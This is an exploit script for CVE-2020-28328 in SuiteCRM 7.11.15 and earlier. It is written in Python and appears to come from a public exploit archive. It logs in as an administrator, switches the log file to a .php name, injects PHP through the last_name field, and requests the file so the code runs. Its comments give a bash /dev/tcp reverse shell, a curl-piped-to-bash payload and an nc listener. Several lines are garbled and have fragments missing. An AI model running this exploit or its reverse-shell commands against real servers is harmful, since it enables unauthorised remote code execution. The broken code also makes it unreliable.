# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated)  
# Date: 08 NOV 2020  
# Exploit Author: M. Cory Billington (@_th3y)  
# Vendor Homepage:  
# Software Link:  
# Version: 7.11.15 and below  
# Tested on: Ubuntu 20.04 LTS  
# CVE: CVE-2020-28328  
# Writeup:  
from requests import Session  
from random import choice  
from string import ascii_lowercase  
url = "" # URL to remote host web root  
post_url = "{url}index.php".format(url=url)  
user_name = "admin" # User must be an administrator  
password = "admin"  
prefix = 'shell-'  
file_name = '{prefix}{rand}.php'.format(  
rand=''.join(choice(ascii_lowercase) for _ in range(6))  
# *Recommend K.I.S.S as some characters are escaped*  
# Example for reverse shell:  
# Put 'bash -c '(bash -i >& /dev/tcp/ 0>&1)&' inside a file named  
# Stand up a python web server `python -m http.server 80` hosting  
# Set a nc listener to catch the shell 'nc -nlvp 8080'  
command = '<?php `curl -s | bash`; ?>'.format(fname=file_name)  
# Admin login payload  
login_data = {  
"module": "Users",  
"action": "Authenticate",  
"return_module": "Users",  
"return_action": "Login",  
"user_name": user_name,  
"username_password": password,  
"Login": "Log+In"  
# Payload to set logging to 'info' and create a log file in php format.  
modify_system_settings_data = {  
"action": (None, "SaveConfig"),  
"module": (None, "Configurator"),  
"logger_file_name": (None, file_name), # Set file extension in the file name as it isn't checked here  
"logger_file_ext": (None, ''), # Bypasses file extension check by just not setting one.  
"logger_level": (None, "info"), # This is important for your php code to make it into the logs  
"save": (None, "Save")  
# Payload to put php code into the malicious log file  
poison_log = {  
"module": (None, "Users"),  
"record": (None, "1"),  
"action": (None, "Save"),  
"page": (None, "EditView"),  
"return_action": (None, "DetailView"),  
"user_name": (None, user_name),  
"last_name": (None, command),  
# Payload to restore the log file settings to default after the exploit runs  
restore_log = {  
"action": (None, "SaveConfig"),  
"module": (None, "Configurator"),  
"logger_file_name": (None, "suitecrm"), # Default log file name  
"logger_file_ext": (None, ".log"), # Default log file extension  
"logger_level": (None, "fatal"), # Default log file setting  
"save": (None, "Save")  
# Start of exploit  
with Session() as s:  
# Authenticating as the administrator  
s.get(post_url, params={'module': 'Users', 'action': 'Login'})  
print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID']), data=login_data)  
if 'ck_login_id_20' not in s.cookies.get_dict().keys():  
print('[-] Invalid password for: {user}'.format(user=user_name))  
print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(  
# Modify the system settings to set logging to 'info' and create a log file in php format  
print('[+] Modifying log level and log file name.')  
print('[+] File name will be: {fname}'.format(fname=file_name))  
settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}, headers=settings_header, files=modify_system_settings_data)  
# Post to update the administrator's last name with php code that will poison the log file  
print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))  
command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}, headers=command_header, files=poison_log)  
# May be a good idea to put a short delay in here to allow your code to make it into the logfile.  
# Up to you though...  
# Do a get request to trigger php code execution.  
print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))  
execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)  
if not execute_command.ok:  
print('[-] Exploit failed, sorry... Might have to do some modifications.')  
# Restoring log file to default  
print('[+] Setting log back to defaults'), headers=settings_header, files=restore_log)  
print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))